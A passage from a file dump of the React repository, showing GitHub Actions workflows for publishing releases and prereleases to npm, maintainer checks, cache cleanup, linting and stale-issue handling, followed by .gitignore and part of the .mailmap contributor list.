actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd scripts/release install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: cp ./scripts/release/ci-npmrc ~/.npmrc\n      - run: |\n          GH_TOKEN=${{ secrets.GH_TOKEN }} scripts/release/prepare-release-from-ci.js --skipTests -r ${{ inputs.release_channel }} --commit=${{ inputs.commit_sha }}\n      - name: Check prepared files\n        run: ls -R build/node_modules\n      - if: '${{ inputs.only_packages }}'\n        name: 'Publish ${{ inputs.only_packages }}'\n        run: |\n          scripts/release/publish.js \\\n            --ci \\\n            --tags=${{ inputs.dist_tag }} \\\n            --onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\\'}}\n            ${{ inputs.dry && '--dry' || '' }}\n      - if: '${{ inputs.skip_packages }}'\n        name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'\n        run: |\n          scripts/release/publish.js \\\n            --ci \\\n            --tags=${{ inputs.dist_tag }} \\\n            --skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\\'}}\n            ${{ inputs.dry && '--dry' || '' }}\n      - if: '${{ !inputs.skip_packages && !inputs.only_packages }}'\n        name: 'Publish all packages'\n        run: |\n          scripts/release/publish.js \\\n            --ci \\\n            --tags=${{ inputs.dist_tag }} ${{ (inputs.dry && '') || '\\'}}\n            ${{ inputs.dry && '--dry' || '' }}\n      - name: Notify Discord on failure\n        if: failure() && inputs.enableFailureNotification == true\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}\n          embed-author-name: \"GitHub Actions\"\n          embed-title: '[Runtime] Publish of ${{ inputs.release_channel }}@${{ inputs.dist_tag}} release failed'\n          embed-url: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}/attempts/${{ github.run_attempt }}\n"
  },
  {
    "path": ".github/workflows/runtime_prereleases_manual.yml",
    "content": "name: (Runtime) Publish Prereleases Manual\n\non:\n  workflow_dispatch:\n    inputs:\n      prerelease_commit_sha:\n        required: true\n      only_packages:\n        description: Packages to publish (space separated)\n        type: string\n      skip_packages:\n        description: Packages to NOT publish (space separated)\n        type: string\n      dry:\n        required: true\n        description: Dry run instead of publish?\n        type: boolean\n        default: true\n      experimental_only:\n        type: boolean\n        description: Only publish to the experimental tag\n        default: false\n      force_notify:\n        description: Force a Discord notification?\n        type: boolean\n        default: false\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  notify:\n    if: ${{ inputs.force_notify || inputs.dry == false || inputs.dry == 'false' }}\n    runs-on: ubuntu-latest\n    steps:\n      - name: Discord Webhook Action\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}\n          embed-author-name: ${{ github.event.sender.login }}\n          embed-author-url: ${{ github.event.sender.html_url }}\n          embed-author-icon-url: ${{ github.event.sender.avatar_url }}\n          embed-title: \"⚠️ Publishing ${{ inputs.experimental_only && 'EXPERIMENTAL' || 'CANARY & EXPERIMENTAL' }} release ${{ (inputs.dry && ' (dry run)') || '' }}\"\n          embed-description: |\n            ```json\n            ${{ toJson(inputs) }}\n            ```\n          embed-url: https://github.com/facebook/react/actions/runs/${{ github.run_id }}\n\n  publish_prerelease_canary:\n    if: ${{ !inputs.experimental_only }}\n    name: Publish to Canary channel\n    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    with:\n      commit_sha: ${{ inputs.prerelease_commit_sha }}\n      release_channel: stable\n      # The tags to use when publishing canaries. The main one we should\n      # always include is \"canary\" but we can use multiple (e.g. alpha,\n      # beta, rc). To declare multiple, use a comma-separated string, like\n      # this:\n      #   dist_tag: \"canary,alpha,beta,rc\"\n      #\n      # TODO: We currently tag canaries with \"next\" in addition to \"canary\"\n      # because this used to be called the \"next\" channel and some\n      # downstream consumers might still expect that tag. We can remove this\n      # after some time has elapsed and the change has been communicated.\n      dist_tag: canary,next\n      only_packages: ${{ inputs.only_packages }}\n      skip_packages: ${{ inputs.skip_packages }}\n      dry: ${{ inputs.dry }}\n    secrets:\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n  publish_prerelease_experimental:\n    name: Publish to Experimental channel\n    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    # NOTE: Intentionally running these jobs sequentially because npm\n    # will sometimes fail if you try to concurrently publish two\n    # different versions of the same package, even if they use different\n    # dist tags.\n    needs: publish_prerelease_canary\n    # Ensures the job runs even if canary is skipped\n    if: always()\n    with:\n      commit_sha: ${{ inputs.prerelease_commit_sha }}\n      release_channel: experimental\n      dist_tag: experimental\n      only_packages: ${{ inputs.only_packages }}\n      skip_packages: ${{ inputs.skip_packages }}\n      dry: ${{ inputs.dry }}\n    secrets:\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/runtime_prereleases_nightly.yml",
    "content": "name: (Runtime) Publish Prereleases Nightly\n\non:\n  schedule:\n    # At 10 minutes past 16:00 on Mon, Tue, Wed, Thu, and Fri\n    - cron: 10 16 * * 1,2,3,4,5\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  publish_prerelease_canary:\n    name: Publish to Canary channel\n    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    with:\n      commit_sha: ${{ github.sha }}\n      release_channel: stable\n      dist_tag: canary,next\n      enableFailureNotification: true\n      dry: false\n    secrets:\n      DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n  publish_prerelease_experimental:\n    name: Publish to Experimental channel\n    uses: facebook/react/.github/workflows/runtime_prereleases.yml@main\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    # NOTE: Intentionally running these jobs sequentially because npm\n    # will sometimes fail if you try to concurrently publish two\n    # different versions of the same package, even if they use different\n    # dist tags.\n    needs: publish_prerelease_canary\n    with:\n      commit_sha: ${{ github.sha }}\n      release_channel: experimental\n      dist_tag: experimental\n      enableFailureNotification: true\n      dry: false\n    secrets:\n      DISCORD_WEBHOOK_URL: ${{ secrets.DISCORD_WEBHOOK_URL }}\n      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/runtime_releases_from_npm_manual.yml",
    "content": "name: (Runtime) Publish Releases from NPM Manual\n\non:\n  workflow_dispatch:\n    inputs:\n      version_to_promote:\n        required: true\n        description: Current npm version (non-experimental) to promote\n        type: string\n      version_to_publish:\n        required: true\n        description: Version to publish for the specified packages\n        type: string\n      only_packages:\n        description: Packages to publish (space separated)\n        type: string\n      skip_packages:\n        description: Packages to NOT publish (space separated)\n        type: string\n      tags:\n        description: NPM tags (space separated)\n        type: string\n        default: untagged\n      dry:\n        required: true\n        description: Dry run instead of publish?\n        type: boolean\n        default: true\n      force_notify:\n        description: Force a Discord notification?\n        type: boolean\n        default: false\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n\njobs:\n  notify:\n    if: ${{ inputs.force_notify || inputs.dry == false || inputs.dry == 'false' }}\n    runs-on: ubuntu-latest\n    steps:\n      - name: Discord Webhook Action\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}\n          embed-author-name: ${{ github.event.sender.login }}\n          embed-author-url: ${{ github.event.sender.html_url }}\n          embed-author-icon-url: ${{ github.event.sender.avatar_url }}\n          embed-title: \"⚠️ Publishing release from NPM${{ (inputs.dry && ' (dry run)') || '' }}\"\n          embed-description: |\n            ```json\n            ${{ toJson(inputs) }}\n            ```\n          embed-url: https://github.com/facebook/react/actions/runs/${{ github.run_id }}\n\n  publish:\n    name: Publish releases\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd scripts/release install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: cp ./scripts/release/ci-npmrc ~/.npmrc\n      - if: '${{ inputs.only_packages }}'\n        name: 'Prepare ${{ inputs.only_packages }} from NPM'\n        run: |\n          scripts/release/prepare-release-from-npm.js \\\n            --ci \\\n            --skipTests \\\n            --version=${{ inputs.version_to_promote }} \\\n            --publishVersion=${{ inputs.version_to_publish }} \\\n            --onlyPackages=${{ inputs.only_packages }}\n      - if: '${{ inputs.skip_packages }}'\n        name: 'Prepare all packages EXCEPT ${{ inputs.skip_packages }} from NPM'\n        run: |\n          scripts/release/prepare-release-from-npm.js \\\n            --ci \\\n            --skipTests \\\n            --version=${{ inputs.version_to_promote }} \\\n            --publishVersion=${{ inputs.version_to_publish }} \\\n            --skipPackages=${{ inputs.skip_packages }}\n      - name: Check prepared files\n        run: ls -R build/node_modules\n      - if: '${{ inputs.only_packages }}'\n        name: 'Publish ${{ inputs.only_packages }}'\n        run: |\n          scripts/release/publish.js \\\n            --ci \\\n            --tags=${{ inputs.tags }} \\\n            --publishVersion=${{ inputs.version_to_publish }} \\\n            --onlyPackages=${{ inputs.only_packages }} ${{ (inputs.dry && '') || '\\'}}\n            ${{ inputs.dry && '--dry' || '' }}\n      - if: '${{ inputs.skip_packages }}'\n        name: 'Publish all packages EXCEPT ${{ inputs.skip_packages }}'\n        run: |\n          scripts/release/publish.js \\\n            --ci \\\n            --tags=${{ inputs.tags }} \\\n            --publishVersion=${{ inputs.version_to_publish }} \\\n            --skipPackages=${{ inputs.skip_packages }} ${{ (inputs.dry && '') || '\\'}}\n            ${{ inputs.dry && '--dry' || '' }}\n      - name: Archive released package for debugging\n        uses: actions/upload-artifact@v4\n        with:\n          name: build\n          path: |\n            ./build/node_modules\n"
  },
  {
    "path": ".github/workflows/shared_check_maintainer.yml",
    "content": "name: (Shared) Check maintainer\n\non:\n  workflow_call:\n    inputs:\n      actor:\n        required: true\n        type: string\n    outputs:\n      is_core_team:\n        value: ${{ jobs.check_maintainer.outputs.is_core_team }}\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  check_maintainer:\n    runs-on: ubuntu-latest\n    permissions:\n      # We fetch the contents of the MAINTAINERS file\n      contents: read\n    outputs:\n      is_core_team: ${{ steps.check_if_actor_is_maintainer.outputs.result }}\n    steps:\n      - name: Check if actor is maintainer\n        id: check_if_actor_is_maintainer\n        uses: actions/github-script@v7\n        with:\n          script: |\n            const fs = require('fs');\n            const actor = '${{ inputs.actor }}';\n            const res = await github.rest.repos.getContent({\n              owner: 'facebook',\n              repo: 'react',\n              path: 'MAINTAINERS',\n              ref: 'main',\n              headers: { Accept: 'application/vnd.github+json' }\n            });\n            if (res.status !== 200) {\n              console.error(res);\n              throw new Error('Unable to fetch MAINTAINERS file');\n            }\n            content = Buffer.from(res.data.content, 'base64').toString();\n            if (content == null || typeof content !== 'string') {\n              throw new Error('Unable to retrieve MAINTAINERS file');\n            }\n\n            const maintainers = new Set(content.split('\\n'));\n            if (maintainers.has(actor)) {\n              console.log(`🟢 ${actor} is a maintainer`);\n              return true;\n            }\n            console.log(`🔴 ${actor} is NOT a maintainer`);\n            return null;\n"
  },
  {
    "path": ".github/workflows/shared_cleanup_merged_branch_caches.yml",
    "content": "# https://github.com/actions/cache/blob/main/tips-and-workarounds.md#force-deletion-of-caches-overriding-default-cache-eviction-policy\n\nname: (Shared) Cleanup Merged Branch Caches\non:\n  pull_request:\n    types:\n      - closed\n  workflow_dispatch:\n    inputs:\n      pr_number:\n        required: true\n        type: string\n\npermissions: {}\n\njobs:\n  cleanup:\n    runs-on: ubuntu-latest\n    permissions:\n      # `actions:write` permission is required to delete caches\n      #   See also: https://docs.github.com/en/rest/actions/cache?apiVersion=2022-11-28#delete-a-github-actions-cache-for-a-repository-using-a-cache-id\n      actions: write\n      contents: read\n    steps:\n      - name: Cleanup\n        run: |\n          echo \"Fetching list of cache key\"\n          cacheKeysForPR=$(gh cache list --ref $BRANCH --limit 100 --json id --jq '.[].id')\n\n          ## Setting this to not fail the workflow while deleting cache keys.\n          set +e\n          for cacheKey in $cacheKeysForPR\n          do\n              gh cache delete $cacheKey\n              echo \"Deleting $cacheKey\"\n          done\n          echo \"Done\"\n        env:\n          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          GH_REPO: ${{ github.repository }}\n          BRANCH: refs/pull/${{ inputs.pr_number || github.event.pull_request.number }}/merge\n"
  },
  {
    "path": ".github/workflows/shared_cleanup_stale_branch_caches.yml",
    "content": "# https://github.com/actions/cache/blob/main/tips-and-workarounds.md#force-deletion-of-caches-overriding-default-cache-eviction-policy\n\nname: (Shared) Cleanup Stale Branch Caches\non:\n  schedule:\n    # Every 6 hours\n    - cron: 0 */6 * * *\n  workflow_dispatch:\n\npermissions: {}\n\njobs:\n  cleanup:\n    runs-on: ubuntu-latest\n    permissions:\n      # `actions:write` permission is required to delete caches\n      #   See also: https://docs.github.com/en/rest/actions/cache?apiVersion=2022-11-28#delete-a-github-actions-cache-for-a-repository-using-a-cache-id\n      actions: write\n      contents: read\n    steps:\n      - name: Cleanup\n        run: |\n          echo \"Fetching list of cache keys\"\n          cacheKeysForPR=$(gh cache list --limit 100 --json id,ref --jq '.[] | select(.ref != \"refs/heads/main\") | .id')\n\n          ## Setting this to not fail the workflow while deleting cache keys.\n          set +e\n          for cacheKey in $cacheKeysForPR\n          do\n              gh cache delete $cacheKey\n              echo \"Deleting $cacheKey\"\n          done\n          echo \"Done\"\n        env:\n          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          GH_REPO: ${{ github.repository }}\n"
  },
  {
    "path": ".github/workflows/shared_close_direct_sync_branch_prs.yml",
    "content": "name: (Shared) Close Direct Sync Branch PRs\n\non:\n  pull_request:\n    branches:\n      - 'builds/facebook-**'\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  close_pr:\n    runs-on: ubuntu-latest\n    permissions:\n      # Used to create a review and close PRs\n      pull-requests: write\n      contents: write\n    steps:\n      - name: Close PR\n        uses: actions/github-script@v7\n        with:\n          script: |\n            const owner = context.repo.owner;\n            const repo = context.repo.repo;\n            const pullNumber = ${{ github.event.number }};\n\n            await github.rest.pulls.createReview({\n              owner,\n              repo,\n              pull_number: pullNumber,\n              body: 'Do not land changes to `${{ github.event.pull_request.base.ref }}`. Please re-open your PR targeting `main` instead.',\n              event: 'REQUEST_CHANGES'\n            });\n            await github.rest.pulls.update({\n              owner,\n              repo,\n              pull_number: pullNumber,\n              state: 'closed'\n            });\n"
  },
  {
    "path": ".github/workflows/shared_label_core_team_prs.yml",
    "content": "name: (Shared) Label Core Team PRs\n\non:\n  pull_request_target:\n    types: [opened]\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  check_access:\n    runs-on: ubuntu-latest\n    outputs:\n      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}\n    steps:\n      - run: echo ${{ github.event.pull_request.author_association }}\n      - name: Check is member or collaborator\n        id: check_is_member_or_collaborator\n        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}\n        run: echo \"is_member_or_collaborator=true\" >> \"$GITHUB_OUTPUT\"\n\n  check_maintainer:\n    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}\n    needs: [check_access]\n    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main\n    permissions:\n      # Used by check_maintainer\n      contents: read\n    with:\n      actor: ${{ github.event.pull_request.user.login }}\n\n  label:\n    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}\n    runs-on: ubuntu-latest\n    needs: check_maintainer\n    permissions:\n      # Used to add labels on issues\n      issues: write\n      # Used to add labels on PRs\n      pull-requests: write\n    steps:\n      - name: Label PR as React Core Team\n        uses: actions/github-script@v7\n        with:\n          script: |\n            github.rest.issues.addLabels({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: ${{ github.event.number }},\n              labels: ['React Core Team']\n            });\n"
  },
  {
    "path": ".github/workflows/shared_lint.yml",
    "content": "name: (Shared) Lint\n\non:\n  push:\n    branches: [main]\n  pull_request:\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}\n  cancel-in-progress: true\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  prettier:\n    name: Run prettier\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn prettier-check\n\n  eslint:\n    name: Run eslint\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: node ./scripts/tasks/eslint\n\n  check_license:\n    name: Check license\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: ./scripts/ci/check_license.sh\n\n  test_print_warnings:\n    name: Test print warnings\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: shared-lint-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('**/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: ./scripts/ci/test_print_warnings.sh\n"
  },
  {
    "path": ".github/workflows/shared_stale.yml",
    "content": "# Configuration for stale action workflow - https://github.com/actions/stale\nname: (Shared) Manage stale issues and PRs\non:\n  schedule:\n    # Run hourly\n    - cron: '0 * * * *'\n  workflow_dispatch:\n\npermissions:\n  # https://github.com/actions/stale/tree/v9/?tab=readme-ov-file#recommended-permissions\n  issues: write\n  pull-requests: write\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  stale:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/stale@v9\n        with:\n          # --- Issues & PRs ---\n          # Number of days of inactivity before an issue or PR becomes stale\n          days-before-stale: 90\n          # Number of days of inactivity before a stale issue or PR is closed\n          days-before-close: 7\n          # API calls per run\n          operations-per-run: 100\n\n          # --- Issues ---\n          stale-issue-label: \"Resolution: Stale\"\n          # Comment to post when marking an issue as stale\n          stale-issue-message: >\n            This issue has been automatically marked as stale.\n            **If this issue is still affecting you, please leave any comment** (for example, \"bump\"), and we'll keep it open.\n            We are sorry that we haven't been able to prioritize it yet. If you have any new additional information, please include it with your comment!\n          # Comment to post when closing a stale issue\n          close-issue-message: >\n            Closing this issue after a prolonged period of inactivity. If this issue is still present in the latest release, please create a new issue with up-to-date information. Thank you!\n          # Issues with these labels will never be considered stale\n          exempt-issue-labels: \"Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement\"\n\n          # --- PRs ---\n          stale-pr-label: \"Resolution: Stale\"\n          # Comment to post when marking a pull request as stale\n          stale-pr-message: >\n            This pull request has been automatically marked as stale.\n            **If this pull request is still relevant, please leave any comment** (for example, \"bump\"), and we'll keep it open.\n            We are sorry that we haven't been able to prioritize reviewing it yet. Your contribution is very much appreciated.\n          # Comment to post when closing a stale pull request\n          close-pr-message: >\n            Closing this pull request after a prolonged period of inactivity. If this issue is still present in the latest release, please ask for this pull request to be reopened. Thank you!\n          # PRs with these labels will never be considered stale\n          exempt-pr-labels: \"Partner,React Core Team,Resolution: Backlog,Type: Bug,Type: Discussion,Type: Needs Investigation,Type: Regression,Type: Feature Request,Type: Enhancement\"\n"
  },
  {
    "path": ".gitignore",
    "content": ".DS_STORE\nnode_modules\nscripts/flow/*/.flowconfig\n.flowconfig\n*~\n*.pyc\n.grunt\n_SpecRunner.html\n__benchmarks__\nbuild/\nremote-repo/\ncoverage/\n.module-cache\nfixtures/dom/public/react-dom.js\nfixtures/dom/public/react.js\ntest/the-files-to-test.generated.js\n*.log*\nchrome-user-data\n*.sublime-project\n*.sublime-workspace\n.idea\n*.iml\n.vscode\n*.swp\n*.swo\n/tmp\n/.worktrees\n.claude/*.local.*\n\npackages/react-devtools-core/dist\npackages/react-devtools-extensions/chrome/build\npackages/react-devtools-extensions/chrome/*.crx\npackages/react-devtools-extensions/chrome/*.pem\npackages/react-devtools-extensions/firefox/build\npackages/react-devtools-extensions/firefox/*.xpi\npackages/react-devtools-extensions/firefox/*.pem\npackages/react-devtools-extensions/shared/build\npackages/react-devtools-extensions/.tempUserDataDir\npackages/react-devtools-fusebox/dist\npackages/react-devtools-inline/dist\npackages/react-devtools-shell/dist\npackages/react-devtools-timeline/dist\n\n"
  },
  {
    "path": ".mailmap",
    "content": "Adam Timberlake <adam.timberlake@gmail.com>\nAlex Mykyta <dancingwithcows@gmail.com>\nAlex Pien <alexpien@gmail.com>\nAlex Pien <alexpien@gmail.com> <pien@pien-mbp.dhcp.thefacebook.com>\nAlex Pien <alexpien@gmail.com> <pien@pien-mbp.local>\nAndreas Savvides <asavvides@twitter.com> <AnSavvides@users.noreply.github.com>\nAndreas Savvides <asavvides@twitter.com> <andreas@nibbli.com>\nAndreas Svensson <andreas@syranide.com>\nAndres Suarez <zertosh@gmail.com>\nAndrew Kulakov <avk@8xx8.ru>\nAndrew Sokolov <asokolov@atlassian.com>\nAnto Aravinth <anto.aravinth.cse@gmail.com>\nBaraa Hamodi <bhamodi@uwaterloo.ca> <baraa@optimizely.com>\nBen Halpern <bendhalpern@gmail.com>\nBen Newman <bn@cs.stanford.edu> <benjamn@fb.com>\nBenjamin Woodruff <github@benjam.info> <bgw@fb.com>\nBill Fisher <fisherwebdev@gmail.com>\nBlaine Kasten <blainekasten@gmail.com>\nBrandon Tilley <brandon@brandontilley.com>\nChangsoon Bok <winmain@gmail.com>\nCheng Lou <chenglou92@gmail.com> <chenglou@fb.com>\nChristian Oliff <christianoliff@yahoo.com>\nChristoph Pojer <christoph.pojer@gmail.com>\nChristoph Pojer <christoph.pojer@gmail.com> <cpojer@fb.com>\nConnor McSheffrey <c@conr.me> <connor.mcsheffrey@gmail.com>\nConor Hastings <hastings.conorm@gmail.com> <conor@socialtables.com>\nDan Schafer <dschafer@fb.com>\nDaniel Gasienica <daniel@gasienica.ch> <daniel@fiftythree.com>\nDaniel Gasienica <daniel@gasienica.ch> <dgasienica@zynga.com>\nDaniel Hejl <daniel.hejl@hotmail.com>\nDaniel Lo Nigro <daniel@dan.cx> <danlo@fb.com>\nDave Galbraith <dave@jut.io>\nDennis Johnson <songawee@gmail.com>\nDmitry Blues <dmitri.blyus@gmail.com>\nDongsheng Liu <bellanchor@gmail.com>\nErik Harper <eharper@mixpo.com>\nEvan Coonrod <evan@paloalto.com>\nFabio M. Costa <fabiomcosta@gmail.com> <fabs@fb.com>\nFelix Kling <felix.kling@gmx.net> <fkling@fb.com>\nFrançois-Xavier Bois <fxbois@gmail.com>\nFyodor Ivanishchev <cbrwizard@gmail.com>\nGabe Levi <gabelevi@gmail.com> <glevi@fb.com>\nGeert Pasteels <geert.pasteels@gmail.com>\nGeorge A Sisco III <george.sisco@gmail.com>\nGeorgii Dolzhykov <thorn.mailbox@gmail.com>\nHarry Hull <harry.hull1@gmail.com>\nHendrik Swanepoel <hendrik.swanepoel@gmail.com>\nHyeock Kwon <doublus@gmail.com>\nIan Obermiller <ian@obermillers.com> <iano@fb.com>\nIlia Pavlenkov <dortonway@gmail.com>\nIlyá Belsky <gelias.gbelsky@gmail.com>\nIngvar Stepanyan <me@rreverser.com> <rreverser@ubuntu.rreverser.a4.internal.cloudapp.net>\nIrae Carvalho <irae@irae.pro.br>\nIvan Vergiliev <ivan.vergiliev@gmail.com>\nJJ Weber <jj.weber@gmail.com>\nJae Hun Ro <jhr24@duke.edu>\nJaime Mingo <j.mingov@3boll.com>\nJames Brantly <james@jbrantly.com>\nJan Hancic <jan.hancic@gmail.com> <jan.hancic@caplin.com>\nJan Kassens <jan@kassens.net> <jkassens@fb.com>\nJason Bonta <jbonta@gmail.com> <jasonbonta@fb.com>\nJason Quense <monastic.panic@gmail.com>\nJason Trill <jason@jasontrill.com>\nJeff Chan <jefftchan@gmail.com> <jeff@quizlet.com>\nJeff Morrison <jeff@anafx.com> <Jeff@anafx.com>\nJeff Morrison <jeff@anafx.com> <jeffmo@fb.com>\nJeff Morrison <jeff@anafx.com> <lbljeffmo@gmail.com>\nJeffrey Lin <lin.jeffrey@gmail.com> <jeffreylin@fb.com>\nJim Sproch <jsproch@fb.com>\nJim Sproch <jsproch@fb.com> <jsfb@github>\nJim Sproch <jsproch@fb.com> <none@no-reply.com>\nJinwoo Oh <arkist@gmail.com>\nJinxiu Lee <lee.jinxiu@gmail.com>\nJiyeon Seo <zzzeons@gmail.com>\nJon Chester <jonchester@fb.com>\nJon Madison <jon@tfftech.com>\nJonathan Hsu <jhiswin@gmail.com>\nJonathan Persson <persson.jonathan@gmail.com> <jonathan.persson@creuna.se>\nJordan Walke <jordojw@gmail.com>\nJordan Walke <jordojw@gmail.com> <jordanjcw@fb.com>\nJoseph Savona <joesavona@fb.com> <josephsavona@users.noreply.github.com>\nJosh Duck <josh@fb.com> <github@joshduck.com>\nJuan Serrano <germ13@users.noreply.github.com>\nJun Wu <quark@lihdd.net>\nJustin Robison <jrobison151@gmail.com>\nKeito Uchiyama <projects@keito.me> <keito@fb.com>\nKevin Coughlin <kevintcoughlin@gmail.com> <kevincoughlin@tumblr.com>\nKrystian Karczewski 